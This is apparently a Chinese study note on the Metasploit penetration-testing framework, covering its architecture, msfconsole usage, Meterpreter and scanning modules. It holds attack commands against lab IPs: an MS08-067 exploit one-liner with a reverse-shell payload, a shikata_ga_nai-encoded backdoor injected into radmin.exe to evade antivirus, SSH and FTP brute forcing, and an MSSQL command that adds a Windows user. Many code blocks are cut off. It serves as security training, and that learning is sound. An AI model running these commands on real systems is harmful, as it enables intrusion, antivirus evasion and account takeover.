Mestasploit基本使用学习
Contents
渗透测试——Mestasploit 基本使用
渗透测试者的困扰
- 需要掌握数百个工具软件,上千个命令参数,实在记不住
 - 新出现的漏洞 PoC/EXP 有不同的运行环境要求,准备工作繁琐
 - 大部分时间都在学习不同工具的使用户环境,如果能统一就好了
 
Metasploit 简介
目前最流行、最强大、最具扩展性的渗透测试平台软件
基于 Metasploit 进行渗透测试和漏洞分析的流程和方法
2003 年由 HD More 发布第一版,2007 年用 ruby 语言编写
- 框架继承了渗透测试标准(PETS)标准
 - 一定程度上统一了渗透测试研究的工作环境
 - 新的攻击代码可以比较容易的加入框架
 
开发活跃版本更新频繁
- 早期版本基于社区力量维护,被 Rapid 7 收购后大枣出其商业版本产品
 - 目前分化为四个版本,社区版依然十分活跃
 - HD More说:为 Metasploit 写书是种自虐
 
Metasploit 默认集成 kali linux 中
使用 postgresql 数据库存储数据
- 早期版本需要先启动数据库再启动 msf
 


Metasploit 架构
- Rex
- 基本功能库,用于完成日常基本任务,无需人工手动编码实现
 - 处理 socket 连接与访问、协议应答(http/SSL/SMB 等)
 - 编码转换(XOR、Base64、Unicode)
 
 - Msf::Core
- 提供 Metasploit的核心基本 API,是框架的核心能力实现库
 
 - Msf::Base
- 提供友好的的 API 接口,便于模块调用的库
 
 - Plugin 插件
- 连接和调用外部扩展功能和系统
 
 - 模块
- /usr/share/metasploit-framework/modules/
 
 - 技术功能模块(不是流程模块)
- Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
 
 - Payload:成功 exploit 之后,真正在目标系统执行的代码或指令
- shellcode 或系统命令
 - 三种 payload:/usr/share/metasploit-framework/modules/payloads/
 - Single:all-in-one
 - Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
 - stages:利用 stager 建立的连接下载的后续payload
 - stager、stages 都有多种类型,适用于不同场景
 - shellcode 是 payload 的一种,由于期间里正向/反向 shell 而得名
 
 - 技术功能模块(不是流程模块)
- Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)
 - Encoders:对 payload 进行加密,躲避 AV 检查的模块
 - Nops:提高 paylaod 稳定性及维持大小
 
 
基本使用
- 使用前先升级:msfupdate
 - msfcli 使用接口,现在已经更新至 msfconsole -x
 - msfconsole 使用接口
- 最流行的用户接口
 - 几乎可以使用全部 msf 功能
 - 控制台命令支持 TAB 自动补全
 - 支持外部命令的执行(系统命令等)
 
 - 点击鼠标启动
 
1  | 通用选项:  | 
- 进入 msfconsole,查看帮助信息
 
1  | root@kali:~# msfconsole  | 
- msf > help show
 
1  | [*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options  | 
- msf > help search
 
1  | : search [keywords]  | 
- 模块内命令
 
1  | msf > search ms09_001_write  | 
- 数据库操作
 
1  | msf > help db_connect  | 
- msf > help sessions
Usage: sessions [options] or sessions [id] 
1  | 活动的会话操作和交互。  | 
5. Exploit 模块
1.Active exploit
攻击者主动连接受害者:
1  | root@kali:~# cat ms08067.rb  | 

1  | root@kali:~# cat psexec.rb  | 

2. Passive Exploits
攻击者等待受害者来触发连接,反弹到攻击者
1  | root@kali:~# cat ms07017.rb  | 


6.生成payload
- 用法
 
1  | msf > search ms08-067  | 

- 自动绕过坏字符
 
1  | msf payload(windows/shell/bind_tcp) > generate -b '\x00'  | 
- 手动指定编码模块
 
1  | msf payload(windows/shell/bind_tcp) > show encoders  | 

- 注入文件
 
1  | msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe  | 
NOP:no-operation / Next Operation (无任何操作)
- EIP 返回存储 NOP sled 的任意地址时将递增,最终导致 shellcode 执行
 - 增加一行 EOP
 
1
msf payload(windows/shell/bind_tcp) > generate -s 14
7. metepreter
1.简介
- 高级、动态、可扩展的 payload
- 基于 metepreter 上下文利用更多漏洞发起攻击
 - 后渗透测试阶段一站式操作界面
 
 - 完全基于内存的 DLL 注入式 payload (不写硬盘)
- 注入合法系统进程并建立 stager
 - 基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
 - 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证)
 
 - 服务端使用 c 语言编写
 - 客户端提供基于 ruby 的全特性 API(支持任何语言)
 
2.使用
1  | root@kali:~# cat metepreter.rb  | 

- 帮助文件
 
1  | meterpreter > help  | 
- 使用
 
1  | meterpreter > execute -f cmd.exe  | 

Meterpreter python 扩展
- 2015 年11月份,来自社区贡献
 - 无需运行环境,在客户端运行原生 python 代码
 - 使用
 
1  | meterpreter > load python  | 
9. msfcli
- 2015 年6月已经被取消
 - 由 msfconsole -x 取代
 - 编写脚本时便于引用
 
1  | msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit"  | 
Mestasploit 信息收集
模块位置:
- 信息收集的模块都在 auxiliary/scanner/ 之下
 
1  | msf > use auxiliary/scanner/ [TAB]  | 
1. db_nmap
- 跟 nmap 用法一样,结果存放在 msf 的数据库中
 
1  | msf > db_nmap -sV 10.10.10.0/24  | 
- auxiliary 目录下
 - RHOSTS <> RHOST
- 192.168.1.20-192.168.1.30、192.168.1.0/24,192.168.11.0/24
 - 也可以编写地址列表:file:/root/h.txt
 
 
2.主机发现扫描
- use auxiliary/scanner/discovery/arp_sweep
 - set INTERFACE、RHOSTS、SHOST、SMAC、THREADS;run
 
1  | msf > search arp  | 
3.端口扫描
- use auxiliary/scanner/portscan/syn
 - set INTERFACE、PORTS、RHOSTS、THREADS;run
 
1  | msf > search portscan  | 
4.僵尸扫描
- 查找 ipidseq 主机(查找僵尸机)
- use auxiliary/scanner/ip/ipidseq
 - set RHOSTS 192.168.1.0/24 ;run
 - nmap -PN -sI 10.10.10.147 10.10.10.132
 
 
1  | msf > use auxiliary/scanner/ip/ipidseq  | 
1  | msf > db_nmap -PN -sI 10.10.10.147 10.10.10.132  | 
5.UDP扫描
- use auxiliary/scanner/discovery/udp_sweep
 - use auxiliary/scanner/discovery/udp_probe
 
1  | msf > use auxiliary/scanner/discovery/udp_sweep  | 
1  | msf > use auxiliary/scanner/discovery/udp_probe  | 
6.密码嗅探
- use auxiliary/sniffer/psnuffle
 - 支持从 pacap 抓包文件中提取密码
 - 功能类似于 dsniff
 - 目前只支持 pop3、imap、ftp、HTTP GET 协议
 
1  | msf > search sniffer  | 
1  | root@kali:~# ftp 10.10.10.148  | 
1  | # 继续上述  | 
7.SNMP扫描
- vim /etc/snmp/snmpd.conf (侦听复制修改为 0.0.0.0:161)
 - use auxiliary/scanner/snmp/snmp_login
 - use auxiliary/scanner/snmp/snmp_enum
 - use auxiliary/scanner/snmp/snmp_enumusers (windows)
 - use auxiliary/scanner/snmp/snmp_enumshares (windows)
 
1  | msf > use auxiliary/scanner/snmp/snmp_login  | 
1  | msf > use auxiliary/scanner/snmp/snmp_enum  | 
1  | msf > use auxiliary/scanner/snmp/snmp_enum  | 
1  | msf > use auxiliary/scanner/snmp/snmp_enumusers  | 
1  | msf > use auxiliary/scanner/snmp/snmp_enumshares  | 
8.SMB扫描
- SMB 版本扫描
- use auxiliary/scanner/smb/smb_version
 
 - 扫描命令管道。判断 SMB 服务类型(账号、密码)
- use auxiliary/scanner/smb/pipe_auditor
 
 - 扫描通过 SMB 管道可以访问的 RCERPC 服务
- use auxiliary/scanner/smb/pipe_dcerpc_auditor
 
 - SMB 共享账号(账号、密码)
- use auxiliary/scanner/smb/smb_enumshares
 
 - SMB 用户枚举(账号、密码)
- use auxiliary/scanner/smb/smb_enumusers
 
 - SID 枚举(账号、密码)
- use auxiliary/scanner/smb/smb_lookupsid
 
 - SMB 版本扫描
 
1  | msf > search smb  | 
1  | # 继续上述  | 
- 扫描命令管道。判断 SMB 服务类型(账号、密码)
 
1  | msf > use auxiliary/scanner/smb/pipe_auditor  | 
1  | # 继续上述  | 
- 扫描通过 SMB 管道可以访问的 RCERPC 服务
 
1  | msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor  | 
1  | # 继续上述  | 
- SMB 共享账号(账号、密码)
 
1  | msf > use auxiliary/scanner/smb/smb_enumshares  | 
1  | # 继续上述  | 
- SMB 用户枚举(账号、密码)
 
1  | msf > use auxiliary/scanner/smb/smb_enumusers  | 
1  | # 继续上述  | 
- SID 枚举(账号、密码)
 
1  | msf > use auxiliary/scanner/smb/smb_lookupsid  | 
1  | # 继续上述  | 
SSH扫描
- SSH 版本扫描
- use auxiliary/scanner/ssh/ssh_version
 
 - SSH 密码爆破
- use auxiliary/scanner/ssh/ssh_login
- set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt ;set VERBOSE false ;run
 
 
 - use auxiliary/scanner/ssh/ssh_login
 - SSH 公钥登陆
- use auxiliary/scanner/ssh/ssh_login_pubkey
- set KEY_FILE id_rsa;set USERNAME root ;run
 
 
 - use auxiliary/scanner/ssh/ssh_login_pubkey
 - SSH 版本扫描
 
1  | msf > use auxiliary/scanner/ssh/ssh_version  | 
- SSH 密码爆破
 
1  | root@kali:~# more /usr/share/metasploit-framework/data/wordlists/root_userpass.txt  | 
- SSH 公钥登陆
 
1  | msf > use auxiliary/scanner/ssh/ssh_login_pubkey  | 
windows缺少的补丁
基于已经取得的 session 进行检测
use post/windows/gather/enum_patches
- show advanced
 - set VERBOSE yes
 
检查失败
- known bug in WMI query, try migrating to another process
 - 迁移到另一个进程再次进行尝试
 
ms08-067
1  | msf > use exploit/windows/smb/ms08_067_netapi  | 

1  | meterpreter > backgroun  | 

1  | msf exploit(windows/smb/ms08_067_netapi) > use post/windows/gather/enum_patches  | 

1  | # 进程错误,迁移进程  | 

mssql 扫描
mssql 扫描端口
- TCP 1422(动态端口)/ UDP 1434 (查询 TCP 端口号)
 - use auxiliary/scanner/mssql/mssql_ping
 
爆破 mssql 密码
use auxiliary/scanner/mssql/mssql_login
远程执行代码(获取数据库权限之后)
use auxiliary/admin/mssql/mssql_exec
- set CMD net user user1 pass123 /ADD
 
mssql扫描端口
1  | msf > use auxiliary/scanner/mssql/mssql_ping  | 
FTP扫描
ftp 版本扫描
- use auxiliary/scanner/ftp/ftp_version
 - use auxiliary/scanner/ftp/anonymous
 - use auxiliary/scanner/ftp/ftp_login
 
use auxiliary/scanner/ [tab]
Display all 479 possibilities? (y or n)
查询版本信息
1  | msf > use auxiliary/scanner/ftp/ftp_version  | 

是否允许匿名登录
1
2
3msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(scanner/ftp/anonymous) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ftp/anonymous) > run

暴力破解
1
use auxiliary/scanner/ftp/ftp_login